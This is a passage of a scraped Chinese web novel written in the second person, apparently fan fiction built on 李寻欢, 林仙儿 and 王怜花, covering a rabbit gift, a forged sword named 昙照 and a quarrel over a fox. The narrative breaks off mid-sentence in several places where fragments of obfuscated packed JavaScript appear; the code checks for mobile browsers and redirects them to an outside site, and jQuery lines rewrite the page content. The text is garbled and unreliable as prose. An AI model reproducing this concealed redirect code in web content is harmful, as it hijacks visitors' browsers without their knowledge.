l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020189|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪。 至于最后一条——为情感所困,伤害所爱之人后会终身与痛苦相伴……不错,说得太符合你的人设了。 你深沉地吸了一口气,因为到现在,回想起那一百零八个前男友,你心中仍会涌起一股难以言喻的哀伤。 当年你和前男友们的事迹被作者记录成册,取名为《渣了那群男人》,你虽不认同这个标题,却也知道你的前男朋友们是被你伤过心的。那么你呢?你也仍旧会为那个被你打到ptsd的男人、那个为你一夜白头的男人、那个对你的戏弄咬牙切齿的男人……而伤心。 你好像被一种无形的诅咒所困,注定无法与男人共度一生,只能不断伤害他们。难怪你一想到与李寻欢的婚期,总是会有隐隐不幸的感觉(指路第2章)。 你总算明白了一直缠绕在你心头的阴霾和悲伤源于哪里了,如果结局不可避免走向衰落的话,那一切还有必要开始么?你尝试着让结局推迟,可一个个登场的人物却总说着和你背离的话。 “……” 可李寻欢是不同的,你是不忍心伤害李寻欢的,他毕竟是你相伴十余年的亲人。 你提笔蘸墨,忍不住在洁白的宣纸上写下了他的名字。你静静地看着,脑海浮现的是从前过往的点点滴滴、酸甜苦辣,还有从今往后的未来可能。 “……” 阳光从窗外将笔架的影子映在纸上,先将它压短,又渐渐将它拉长、变斜、染上暗橙的光晕。 黄昏已至,墨已经干了。 你这才从思绪中脱身。你深深吸了一口气,重新研墨,重新落笔,这一次你的运笔不再滞涩,你行云流水地写下一串名字,旁边则是批注—— 林仙儿(重点监护对象); 龙啸云(工具人); 王怜花(高危); 李寻欢…… (让!) 你写下最后一个字的时候,好像放下了什么心事和道德重担,以至于整个人有一种写爽的豪气云天之感。 你大笔一挥,在纸中央题字——“智者不入爱河,寡王一路硕博”! 去他姐夫的什么爱得悲伤痛苦的,老娘不谈啦!② 16.第 16 章 你下楼时已是傍晚,夕阳的余晖温柔地洒在院中的卵石小径上,给道路镀上了一层淡淡的金边。 落日边的云彩那么软,那么轻,仿佛是天空温柔的絮语。 李寻欢就在这时风尘仆仆地踏入你的小院,他的披风随着步伐和风而轻轻摇曳,他的手在披风下似乎拢着什么珍贵之物,见到你时他浅浅一笑:“阿音,你快看。” 你满怀好奇地小跑着凑近过去,只见他的手伸出后轻轻撩开披风,露出了他单手托着的一个白团子。 啊,是兔子! 兔子应该是刚满月,小小一团,脸圆嘟嘟的,毛绒绒的脑袋在李寻欢宽大的手掌上好奇地探来探去,若非李寻欢小心翼翼地兜着,它就要迫不及待地跳下来了。 你惊奇地“哇”了一声,喜悦地叫道:“给我给我!给我抱一下!” 李寻欢就微笑着将兔子放到了你伸出的双手上,他的指尖从你的指腹擦过,带着暖意。 你托举着小兔子,用脸颊蹭了蹭它柔弱的脸颊,说话的声音也温柔地夹了起来:“好可爱!这是哪里来的?” 李寻欢道:“酒肆边有人在卖它做下酒菜,同窝的都已经被买走,就剩这一只。我想你会喜欢,就给你带过来了。” 他站在你身侧,轻轻地问你:“你喜欢吗?” “喜欢喜欢很喜欢!” 你满心欢喜地回答,抬头看见了李寻欢温柔含笑的眼神,忽然一顿。 你转过身去,声音略显干巴巴地掩饰道:“我带过去给她们看看!之后还要做窝、铺草、给水……麻烦着呢。” 你找了个借口匆匆离开,李寻欢也没有多问,只是静静看着你离去。 * 你和诸位学生一起用木板搭了一个简易的兔棚,为兔子准备了一个舒适的小窝,兔子睡觉的地方铺了好些软和的布,另外一边上的“饮食区”则摆放着干草和水了。 你心满意足地投喂着它,然后发现周围说着“哎呀好可爱!”的学生里没有林仙儿。 你不由得问道:“仙儿呢?” 她们叽叽喳喳地说起来:“在练剑吧?先前我看见了。” “是呀老师,她最近可用功了,衣袖都破了好几件,来问我借过针线。” “你绣的最好看了,她之前还要向你学呢,怎么不来呢?” “她忙都来不及,哪有时间。其实我可以帮她补的,她送我一罐香粉就好了。” 你便离开了学生们,前去找林仙儿来一起看兔子,途径后花园的时候,隐约听见了李寻欢和龙啸云的声音。 不,或许应该说是王怜花的声音。 听说王怜花当初被人称为千面公子,你倒觉得比起易容,他能将声音和口音学得这么像才是天赋异禀呢。 月华如水,夜色温柔,你悄悄立于阴影处望去,只见李寻欢坐在后花园的亭子里,手拿着一只酒杯,出神地望着亭旁的湖水。 王怜花则已换了一身衣服,不再是绯衣,而是与你同色的青衫。 或许是你知晓了他底细的缘故,你总觉得他龙啸云的口吻下,语气中带着一丝不易察觉的狡黠和戏谑:“寻欢兄弟,夜深人静,何以独酌?莫非是还在为我今日的请求而为难?” 李寻欢微微一愣,随即话语中已有苦笑之意:“啸云兄,你我兄弟,何须多问?只是月色之下,更添了几分愁绪罢了。” 他说完,一饮而尽杯中之酒。 王怜花走近轻轻拍了拍李寻欢道肩膀,语气中充满了理解和安慰:“兄弟,你我虽然只是异姓兄弟,但我对你之情,不亚于手足。我知道你疼爱林姑娘,将这个妹妹当作掌上明珠,舍不得她外嫁,只是……我龙某对林姑娘是真心仰慕,此情难以自禁。你也知道我的为人,她若嫁我,自然不会吃一点苦、受一点累的。” 你本想离去,以免叫那个惹事精王怜花察觉你的行踪,便打算绕路而行,谁知倒听见了与你有关的事。 你顿足,然后转身隐匿在了阴暗的角落,悄咪咪地视监着那个狗东西,生怕他带坏李寻欢。 李寻欢沉默了片刻,他手中的酒杯微微一颤。于是你便知道王怜花口中“李寻欢的犹豫”自哪里而来了,然而比起犹豫,你却觉得李寻欢更像是不忍。 他对恶人冷酷无情,对好人又总是留有自苦的同情。他的言辞可以犀利如刀,却又在有时变得笨拙无比。就好像当年你阴阳这个大人眼中的乖孩子,他却只是乖乖地由着你刁难。 若是王怜花本人站在他面前,他早就出言讽刺了,哪里能让这个假龙啸云在这里装模作样地表演茶艺? 果然,你能允许自己欺负李寻欢,却看不得王怜花这样做的,你抬脚要去打断他们的谈话,李寻欢却开口了。 “龙兄……你何出此言?阿音她……她心中只有我,而我亦非木石,岂能愧对于她?” 李寻欢的声音中带着苦涩和挣扎。 他在说这句话的时候,道德雷达一定是在“呜哇呜哇”地警告,因为他浑身都在抵触和愧怍,就好像他自责于在一个不幸的人面前炫耀自己的幸福——不仅炫耀,而且是在嘲讽和伤害对方。 他嗓音干涩地补救道:“我本意不是如此……我今日未应你,是不知如何开口……你我兄弟情深,我又如何能让你为难?” 如果你是王怜花,此刻一定会演绎出强笑和难以置信,好让李寻欢更愧疚。 但出乎意料的是,王怜花没有演绎苦肉计,他维持着温文尔雅的笑容,声音甚至是自信和得意的——他不屑于在李寻欢面前装相。 这个认知让你咬牙切齿,心中暗骂这个狗东西果然之前一直在扮可怜! 王怜花扮演完错愕之后,便哈哈笑道:“寻欢兄弟,你应该早些告诉我的,你这般犹豫倒叫我吃了些苦头!难怪林姑娘看我时眼不是眼,鼻不是鼻的。我懂你苦楚,你这人啊,就是太能忍!你我皆乃性情中人,情之一字,又岂是理智所能束缚的?既然今日话已说开,我只愿你能明白我对林姑娘之心不比你少,我也不愿让她为难,我不需要她的回报,只愿她幸福安康。” 你心中暗骂了一声“呸”,却也不得不承认王怜花的话术高超。 而李寻欢明显触动极大,他似乎更愧疚了,甚至为自己的行为而不齿。 你能理解他的脑回路:龙啸云宁愿自己伤心也不让任何人为难,而李寻欢自己呢?受人之恩,又因一己私欲,伤人之心。 这个可怜的孩子可能还觉得别人豁达大度呢! 果然,李寻欢的语气里已经满是挣扎和痛苦:“龙兄,你……你此言叫我如何自处?你对我有大恩大德,可我、我……我真是个自私自利的小人!” 王怜花的语气保持着温和,简直把高情商版的龙啸云演绎出了新高度:“你我皆是大丈夫,何须如此为难。或许,未来是美好的,我们总会找到属于自己的幸福,不必执着于眼前的纠结和痛苦……” 你听着听着,差点跳起来:这后面全是你的词啊!(指路第12章) 王怜花笑着拿起桌上的酒:“你是很好的很好的兄弟,我却也不输于你,不如就叫林姑娘自己去选择谁是对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023502|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她更好的人,到时你可莫要阻拦我才是。只是今夜嘛,能否让我们兄弟二人,共饮此杯,忘却烦恼?” 李寻欢长叹一声,歉疚和感激都在释怀地一叹当中:“好,啸云兄……来,我先干了此杯!” 夜色下,月被云遮掩,两人的身影渐渐模糊,只留下清脆的碰杯声。 你转身离去,心想王怜花这人的脸皮厚得很,真是人前人后两个模样。你有时候怀疑真的龙啸云要是回来了同他在李寻欢面前对峙,说不定反倒要变成了山寨的了。 * 你找到了勤勤恳恳的林仙儿,拉着她去看兔子。 等来到了兔棚,学生们自然早已经回去了。 林仙儿盯着那白团两秒,就在你猝不及防之下揪住它的耳朵提来掂了掂道:“姐姐这还小呢,都是毛,没几两肉。等它大了我就给你做个红烧的兔肉,可嫩了你一定喜欢!” 你张着嘴,手无助地伸出来企图阻止。 林仙儿不解地看向你,你犹豫道:“就……有没有可能这是宠物。” 林仙儿一愣,手“啪”地松了兔子,干笑两声:“都怪我,最近不是练剑就是琢磨菜谱,看到活物满脑子都是这些了。” 你也干笑了几声,或许是平常你在她面前总是说这个好吃那个也好吃的被她记住了,导致她总以为你见什么都是吃。同理,她平时爱那些珠宝首饰和漂亮玩意,你看见兔子了便总觉得她也是喜欢的。 “不过,”她同你道:“姐姐,兔子会挖洞还会咬木头,它小的时候这个兔棚还能拦一拦它,等长大了就不一定了……” “那我就给它打一个铁笼子。”你想到现代的兔笼,大概明白该怎么用那些铁丝缠绕笼子了。 “好,我明天陪姐姐去铁铺。” “不用不用!”你带她向梅林深处的假山跑去,“李园有铸剑室,那是我的秘密基地!我有东西要送你的。” “铸剑?” 林仙儿踏入铸剑室的时候显然吃惊极了,只因谁也想不到在隐蔽的地下竟会有这样一个地方:首先映入眼帘的必然是中央的大火炉,火炉里的火早已熄灭,可若它燃烧,足以照亮整个空间。大火炉旁有风箱精准控火,周围堆砌着各种矿石,铁矿、铜矿均有,以及冶炼所需的炭火和助燃剂。 室内的一侧墙上挂着各式各样的工具:铁锤、铁钳、锉刀……还有各式各样的剑模,从长剑短刃到飞刀,每一款都独特到你想对着它们日夜说情话。 你,一个剑修,这是你觉得世界上最浪漫的地方了。 其实这面工具墙是可以活动的,你将它往里一推,露出墙后面那帅气逼人的剑室。 藏剑室内的剑架上陈列着各种各样的剑,有的剑身光滑如镜,反射着冷冽的光芒;有的则质朴古拙,像被岁月给打磨了痕迹。无论是哪一把,都像是绝世美人,高冷地立在昏暗的室内,于是将这毛坯房也变得不一样起来。 你不由得托住了自己的脸颊,看着它们就让你有一种幸福的喟叹感。 “姐姐,这些都是你……你的作品吗?” 林仙儿惊叹到合不拢嘴的模样大大满足了你的虚荣心,你点点头,忽然又停住:“只除了一样。” 你指了指那贴于室内的对联,上联“剑光映日寒”,下联“炉火照夜明”,横批是夸得你老脸一红的“匠心铸魂”。 感谢李寻欢的亲情赞助。 你又将此处唯一一把盖着绸布的剑指与林仙儿看:“我想送你的东西,就在那里,你去拿吧。它花费了我很久时间,我希望你喜欢。” 17.第 17 章 林仙儿轻盈的脚步忽然变得踟蹰,她愣愣地看了你一眼,有些不可置信:“姐姐,你……你竟亲自为我铸了一把剑吗?” 你随意“嗯”了一声,摆了摆手,试图表示这不算什么,你爱好其中罢了。就见这姑娘的眼圈泛了红,在你流露出惊讶之时,她有些不好意思地转过了身,用袖子抹了抹脸,声音中带着一丝力求自然的不自然:“那仙儿……就恭敬不如从命了……” 她小心翼翼地揭开覆盖在剑上的绸布,动作轻柔,仿佛怕惊扰了什么神圣之物。绸布下露出了你精心雕琢的剑鞘,那剑鞘长二尺七寸,以檀木为胎,鞘面雕刻的是对称的昙花枝叶纹路,由枝蔓缠枝至花苞渐吐,每一处细节你都力求完美。 一直到剑鞘鞘口包银处,你雕刻了一个小小的人物侧影,那是林仙儿的背影,她执剑于这昙花丛中,衣袂翩跹,剑指苍穹。你在人物的衣袖旁藏了一处彩蛋,那是一行细如蚊足的小篆。 林仙儿看得很仔细,指尖几乎是一寸寸地将纹路触摸过来,仿佛要将每一处雕刻的细节都记住,于是很快发现了那串字。 她的眼中满是惊叹与柔情:“姐姐,这些字是……‘开谢……’,什么?” 她的眼睛迷茫又好奇地看着你,你作为藏彩蛋的人,有些惊奇于她的细致,又欣喜于她对你礼物的真心喜爱。于是你的语气里也含了笑意:“开谢由心,不借东风。” 这是你对她的祝福。 她曾经的日子过得太不由自主了,你望她能挣脱那些年月经历给她的束缚,自在地绽放一次。 林仙儿闻言,重复了一遍:“开谢由心,不借……东风?” 她怔怔地望着那个小人和那串字,似乎有些痴了,连眼眶承载不住的泪水溢出来,也忘记擦拭。 为了符合她的喜好,你特意选了小叶紫檀作剑鞘,用了金银掐丝昙花的花蕊花瓣,花蕊里还镶嵌鸽血石,更不必再说那青玉雕雕剑柄,紫玉铃铛的剑穗了……然而她却好像更为她的人物而动容。 你想你猜的没错,那一日,她救了你,和你说了那么多的话,或许是期待着她自己也能救出她自己。 你猜,你是她心中完美自己的映射,她将自己想成为的角色放在了你身上。 可你只是一个凡人,承载不起她的幻想,于是你手把手带着她去成为她想成为的人。 “你不试试趁手不趁手么?” 林仙儿闻言,回过神来对你一笑,她点点头,肃色拔出来剑。寒光乍现,通体如月下清霜的剑身出鞘,等那寒光平复,只见隐隐约约的冰裂纹路带着银光在剑身上忽隐忽现,就像将融未融的春冰,既脆弱又坚强。 冰雪顺着剑脊的血槽蜿蜒而上,近剑柄处,錾刻了九重昙花花纹,花纹深邃,寄托着的是持剑人过去、现在、未来的故事。 “姐姐,它有名字么?”林仙儿轻声询问,她的声音里已经有了敬畏和期待。 “有的,它叫昙照。”你温和地回答她。 “昙照……昙花照影,刹那芳华。”林仙儿呢喃道,“姐姐的意思是,纵是生命如昙花一般刹那绽放,也要自己做主东风勇敢把握自己的命运吗?” 你本想故意逗她:“意思是,你出剑后一定要快速结束那一击。你力道不够,学的剑以轻灵为主,若是速度不快,实战中难免落了下乘。” 但你终究没有那么说,因为你心中永远对她有一丝担忧。 你当初在锤炼这把剑时,也在犹豫是否要让剑变得锋利,你很担心以林仙儿的性子,日后冲动之下会误入歧途。如果一个人,天赋太高却又曾蹉跎,性子太傲却又藏自卑,行事谨慎然时而偏激,她很难不不误伤别人,更被别人记恨报复。 这也是为何,名剑常常噬主。可谁又敢说,不是人心反噬呢? 可最后,你还是选择打出了利刃,只因那性命攸关时,仁义道德往往显得苍白。 所以你收起玩笑之心,你像当初对待自己弟子那样,语重心长道:“正是如此,昙照不仅是一把剑,也是我这个做姐姐的对你的期望。你要记住,剑为利器,双面开刃,伤人未必不伤己。愿你能用它护住正义,更要护住自己的慈悲之心。” 林仙儿紧紧握住剑柄,她读懂了你的冷肃,她总是不会在你严厉时撒娇的。她郑重地看着你道:“我发誓,昙照之下,只斩奸恶,绝不伤及无辜。若有违此誓言,我……” 你轻轻弹了一下她的额头,只因你觉得用手堵人家嘴巴好像不太卫生,你伸出小拇指道:“拉钩就可以了,你要是骗我,你就是小狗。” “好。” 她用她的小拇指轻轻勾住了你的小拇指。 然后她的眼泪又唰一下流了下来,忽然一把抱住了你,埋于你肩头呜呜哭泣。 你已经太久没有和这样一个瘦弱的孩子拥抱了,她的腰很细,你搂住后就像搂住了一根杆子。你一边安抚地拍拍她的背,一边又觉得硌得慌,心想如果她是个圆滚滚的抱枕就好了。 你不太会藏心事,便直接说了出来。 林仙儿又哭又笑地地拍了一下你的手臂,但是她又嘟囔道:“姐姐瞒我好久,若是可以,我倒想陪着姐姐锻剑……也不知道姐姐该有多累,有没有受伤。” “锻剑很热的,穿得少,就不雅观了。” 你一般是盘了头发t恤上阵,你比划了一下袖子长短给她解释道。 “那怕什么,姐姐未免太见外了,人家不穿衣服的样子你都见过,怎么反倒对我这样遮遮掩掩呢?” 好的,看出来她已经有心说笑了,甚至还拿当初你的事做文章。 是的,你永远忘不了她在你房间里洗澡不关门时你发出的尖锐爆鸣——你是南方人,你此生永远拒绝北方澡堂。 看美男沐浴除外。 然后林仙儿常态性地问你:“姐姐,这剑……是我一人独有,还是她们都有呀?” “只你一人。” 你如今已经很能面不改色地说出这种话了。 毕竟李寻欢是用飞刀的,秋娥喜欢刺绣用的是银针,瑞琦爱剪纸送的是双燕剪刀,小清花的茶艺一绝送的是金器银器茶具,管事的有一根烧火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032039|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棍,就连街坊邻居也有几个找你加工过锅碗瓢盆…… 谁能说他们的礼物不是独有的呢。 你早说了,你爱好打铁这种类似的手工,就像李寻欢喜欢雕小像。 现在,你撩起了袖子将金属拉丝,准备给兔兔也搞一个独有的金属笼子。 林仙儿凑过来,捏了捏你的臂膀肌肉,软软地问道:“姐姐,夜很深了,你已经很辛苦了,还不睡吗?” 她的声音那么甜,那么可爱,但也不足以打动你离开自己爱好的岗位。 你:“如果你真的闲的没事的话,可以和昙照磨合一下呢。” “……” 于是你们有了一起为自己爱好而熬夜的经历,最后是她实在熬不住拖着你回去的。 * 次日清晨,阳光刚将房间照得微亮,你便刷地睁眼,将你心心念念的兔笼从床底扒拉出来,套了衣服就去给兔子祝贺乔迁之喜。 你一边揉着眼睛,一边打哈欠,心里盘算着该怎么玩弄小兔子一番再让它休息,然而走到昨天的兔窝一看,你微微眯起眼,怀疑自己还没有睡明白。 只见兔窝里露出的毛茸茸变得更大了,一只狗那么大的白团子蜷缩着,它尖尖的耳朵听见动静,抬起头露出一双圆溜溜的眼睛,和长长的鼻筒子。 不出意料的话,这应该是只蛮可爱的狐狸。 划重点,狐狸。 “啊啊啊啊啊!我兔子呢?我那么大一只兔子呢!” 你手足无措,不知道是对着这只小可爱拉开它的嘴巴看看好,还是怀着侥幸的心理抱起它看看兔兔是不是在它身下好。 “阿音喜欢我送你的礼物吗?” 王怜花这个阴魂不散的鬼东西不知道从哪里冒了出来,他满脸笑容,手中还捧着一束小花。这还未到春日,也不知道这是哪里采来的,花朵很小,精致又野趣。 他双手递上小花道:“这狐狸乖巧灵性,是我特意替你寻来的,这样你哪怕不见我,它也能代我陪你解闷了。” “你……” 你总觉得他是故意的,却又觉得他笑的实在天真无辜,所谓伸手不打笑脸人,你按住了紧锁的眉头道:“你先别管这些,你看见我的兔子了吗?是李寻欢昨天抱来的那只,小小的还没满月,就在这个窝里。” 王怜花的眼神闪了一闪,笑容更无辜了:“哎呀,我怎么会知道那是寻欢兄弟送的呢?我以为你只是喜欢小动物,所以就……” “你果然就是故意的!”你抬起兔笼子就要砸他。 是的,狐狸很可爱,可这不代表你的兔子就能被他的狐狸吃掉!他和李寻欢有什么比较都不管你的事,但动了你的东西就是不行。 “阿音!” 匆匆赶来的李寻欢一把搂住了你,拦下了你对王怜花的那痛击。 他低头询问你道:“何事发生了?龙兄一定不是故意冒犯的。” 王怜花的笑意收敛了,他凉凉地盯着搂住你的那双手,皮笑肉不笑道:“寻欢兄弟,我和阿音只不过是玩闹,你不必如此紧张。” 18.第 18 章 “玩闹?谁和你玩闹了?”若非李寻欢搂住你,你就要给王怜花来一记飞踹了,“你知不知道我最讨厌别人动我的东西了!” 王怜花看着你,他有些局促,但还是努力保持着风度,他轻咳了一声,目光变得可怜巴巴的:“好啦,别生气了,我原只想让你开心的。既然你更喜欢兔子,不若我再去给你找几只兔子如何?黑的、黄的、灰的、黑白相间的,你喜欢哪种?我都给你找来。” 李寻欢叹了口气:“啸云兄,你……” 晨雾还未散尽,李园西厢的青砖地上凝结着冰霜。你攥着空荡荡的兔笼,指尖几乎要被金属丝给掐破了,你看见王怜花的送的雪狐舔着爪子,银白色的绒毛下沾着暗红血迹。 “那也不一样,给再多也不是昨天的兔子了!你现在说这些有什么用?”你越想越气,“难道你以为谁都喜欢新的,一点也不顾及旧的吗?” 王怜花的圆眼微眯,声音低沉,重复了一遍道:“新的?旧的?阿音,你是真的生气了,说话好叫人伤心。” 他越说,声音越变得委屈:“我知道错了,我只是看你最近心情低落,想给你一些惊喜,没想到弄巧成拙了。” 他对李寻欢道:“你放开阿音,她就算打我骂我,我也是心甘情愿的,你不要再叫她憋在那窝火了。” 李寻欢愣了愣,一时竟有些犹豫,你趁他犹豫之时,已经挣脱了李寻欢给了王怜花一脚飞踢。 李寻欢阻拦不及,惊道:“阿音!” 王怜花就那样被你踹倒在地,他咳嗽着看向你,捂着那被你踹过又被你扎过的伤口,问道:“阿音,你解气了吗?不解气的话你再打我一拳就是,我会受着的。” 你就说你给他打爽了!你拳头硬得厉害,却一时拿不定主意。 李寻欢以为你真的要再给他一拳,不由得道:“阿音,不要!我知你生气,龙兄他……却也不是故意的。你不懂,若他知道你在乎我送你的礼物,他绝不会送你狐狸让你生气的!” 王怜花:“……” 王怜花也不咳嗽了,有些莫名地看了一眼李寻欢,目光流露出一种被大雁啄眼的惊奇之感。 李寻欢未曾关注到此,只是希望你能原谅王怜花:“阿音,乖,不气了。我们给兔子安个冢,让它来世再陪伴你好不好?” 一阵银铃似的笑声响起,林仙儿手持昙照而来,她娇声道:“还是小李探花懂得如何说话的,哄我姐姐像是哄孩子似的。” 她站到你身侧,牵起了你已经掐出红印的手,将笼子接去,心疼地为你吹了吹指尖:“龙公子真应当好好管教一下不服管教的东西。丑时三刻,我亲眼见了这畜生从墙头跃进来,也不知公子是什么时候抱的狐狸来李园,更不知徘徊于姐姐闺阁附近是有何居心。” 她言罢又道:“小李探花想要为兔子立冢我是再支持不过的,不过兔子可没有衣物立什么衣冠冢了。要我看,不妨我剖开这狐狸的胃袋来帮你一把?” “林姑娘,万物有灵,狐狸食兔本就是天性,而非刻意,何必伤害这狐狸呢?” “好个万物有灵,”林仙儿一笑,昙照系着的宫铃脆响,惊得狐狸竖起来耳朵,“李公子同情畜生是同情得熟门熟路了。” 李寻欢的脸色一冷,他自然能听出林仙儿是在骂王怜花是个畜生。 王怜花噗嗤一笑,从地上起身:“仙儿姑娘骂畜生也是轻车就熟。” 他不以为耻,反而有脸皮夸奖林仙儿了。 李寻欢道:“林姑娘,你究竟是为阿音打抱不平,还是故意间隙她和龙兄之间?此事本是龙兄好心办了坏事,误会一场,何必牵扯小狐?” “李公子骂畜生的本事不在我之下,我竟一时分不清你是真不懂还是假不懂了。李园莫非是什么荒郊野岭之地吗?这狐狸若非受人驱使,怎会精准寻到兔笼!”林仙儿一脚踹翻了原本的兔窝,吓得狐狸转身就跑,缩到了王怜花的身后。 林仙儿便盯着王怜花道:“呵,到真是个成了精的件货。” 你忙捂住了林仙儿的嘴。 李寻欢本想拉住你,但他的手轻轻一颤,却放下了,他将被踢翻的兔窝重新扶起,白玉似的指节沾了泥:“阿音,龙兄他……” “寻欢兄弟不必替我开脱,”王怜花用折扇抵住他的手腕,眼神却灼灼地盯着你:“阿音想要如何才肯消气?剥了这身狐裘给你做围脖?还是说,要在我身上也开个血窟窿?” 林仙儿“唰”地拔剑横在他的颈间,昙照剑身映出三人交错的影子:“你以为我不敢?” “仙儿,把剑放下。”你揉着突突直跳的太阳穴,“你不要因这种事而出剑。” 主要是她又打不过。 梅花枝头落下残雪,在簌簌声里,王怜花突然低笑出声。他伸出两指轻轻推开剑锋,袖口的暗纹在晨光里泛起涟漪:“仙儿姑娘可知道漠北有种雪蚕?每逢月圆便吐出银丝将自己裹成茧,等到下一个月圆即可变成能在雪山之巅飞舞的蛾。可若有人提前剪开蚕茧……” 他看着林仙儿,慢悠悠道:“里头的蛾子翅膀永远皱巴巴的,飞不出三丈就要摔死。” “你这是什么意思?”林仙儿退后了一步,有些气弱,轻轻拉住你的袖子,眼睛却依旧瞪着着他。 “意思是,姑娘的剑是好剑,却还是不要乱指的好。”王怜花笑了笑,不再看林仙儿,转而变戏法似的从袖中摸出个锦囊,倒出一团沾了血的毛团子,那团子在他掌心瑟瑟发抖。 “阿音,你心爱的兔子并没有进白狐的肚子里,昨夜风大,落了瓦片砸伤了这个小东西。我不过借狐狸做个筏子,好叫你多看我几眼。” 王怜花再次看向你,眼眶竟微微泛红,仿佛下一秒就要落下泪来。你懒得管他的戏份,急步过去,从他手中拢回了那白团子。 林仙儿的剑尖垂下半寸,仍旧怀疑道:“那你为什么不直说?” “直说?我可不想要轻飘飘的一句‘龙公子有心了’‘多谢龙公子’。”王怜花强颜欢笑道,“我想阿音看着我,为我情绪起伏,哪怕是瞪着我,误会我,也好过冷漠疏离我的。” 他转头看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035045|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 僵立的李寻欢,折扇在掌心敲了敲:“我可不比有些人,能轻易就占据你的心房。我担心兔子无法陪你,连夜去寻了白狐逗你,不想你真的恼了……别生气了,也别气小狐狸,都是我的不对。” 李寻欢猛地咳嗽起来,袖中一物掉落,还不等你看清,他已经捡了起来再次藏入袖中。 “龙公子好算计。”林仙儿收剑入鞘,紫玉铃铛因为那力道,带着剑穗缠绕着剑柄两圈,“先让姐姐误会,再扮救世主,又让姐姐可怜你。这般弯弯绕绕的心思——比昙照剑上的冰裂纹路还曲折三分,倒叫李公子自愧不如了。” 王怜花抚掌道:“林姑娘这张嘴,真该去六扇门当个判官。” 他从怀中掏出个瓷瓶扔给李寻欢:“治疗咳嗽的,用天山雪莲煨了七日,本想给佳人献殷勤,倒不料给了你。阿音,你莫要担忧你表哥……” “谁知道这东西有没有毒。”林仙儿嘀咕道。 王怜花听力极佳,仿佛无奈一般,忍让道:“林姑娘,你也不必担忧我有什么坏心思。我虽爱开玩笑,只想阿音身边的人能够好好的,哪怕是只兔子,我也是关切的。” 李寻欢紧紧握着瓷瓶,喉结动了动却没有说话。晨光穿过他的发丝,在青砖上投下细碎的影子。 你数着那些晃动的光斑,想起幼时你故意将他雕了半个月的木舟扔进湖里,想看他哭闹的模样。那时的他也是这样佝偻着背,在寒潭里捞了一整夜。后来你才知道那是他为你准备的生辰礼物……他从来在受伤时选择沉默。 “都出去。”你将兔子放在石桌上,“我要给兔子换药。” 王怜花的折扇“啪”地合拢:“我来帮忙。” “不必。” “阿音……” “我说不必。”你淡淡地看着王怜花,轻轻道,“你说为我好,却总罔顾我的想法,我怕和你待久了,会被你气死。” “是我的错,是我的错。”他懊丧地用扇子敲敲自己,然后轻轻扯扯你另一边的袖子,“只是莫要不理我,不然我一定会先你一步而心痛至死。” “无耻!”林仙儿骂道,拢过来你的双手,不让王怜花扯你的袖子。 她瞪着李寻欢,骂道:“李寻欢,你是不是个男人?从头至尾竟一声不吭吗?难道还想着受了伤卖个可怜能有人惦记吗?” 你看向林仙儿,忽然觉得,她和你表哥是极其相配的。李寻欢从来不知道争取、抱怨,可是林仙儿永远不屈不挠,敢爱敢恨,她会因为关心李寻欢而为他叫屈。 若是他们在一起,你不必担忧你表哥自顾委屈,也不必担忧林仙儿惹事而没有人替她收拾烂摊子。 你忽然有些诡异地欣慰,就像那故事的结局走向正轨,就像看见你担忧的两个人找到了自己适合的幸福。 于是你抓住了王怜花的扇子,就这样将他一拽:“我们走,别打扰他俩。” 林仙儿和李寻欢同时震惊又不解地看向你。 王怜花被你拽得差点一倒,他一愣,随后笑眯眯地就着你的力道乖乖跟在了你身后。 19.第 19 章 湘妃竹扇骨的棱角硌着你的掌心,但你却将五指收的更紧。王怜花踉跄着踩碎廊下薄霜,青色的织锦袖口扫过朱漆栏杆,在晨光里拖曳出蜿蜒水痕,恍若银蛇游过琉璃瓦面。 “阿音要带我去哪?”他尾音飘着得瑟的旋儿,带着玩味的颤音,像雪狐蓬松的尾巴尖,“若是……” “闭嘴。” 你穿过月洞门时回望了一眼,李寻欢仍站在原地,他方才收拾兔窝时,晨露沾湿了他鸦青色的衣衫下摆,恰似是寒潭捞木舟的那夜。他沾了草屑的指尖正悬在半空,望着你背影的模样,与他幼时握着木舟时冻得发青的指尖相似。 你终究转头走过了转角处。 “心疼了?”温热气息忽地拂过耳后,王怜花不知何时贴近,“现在回去还来得及。” 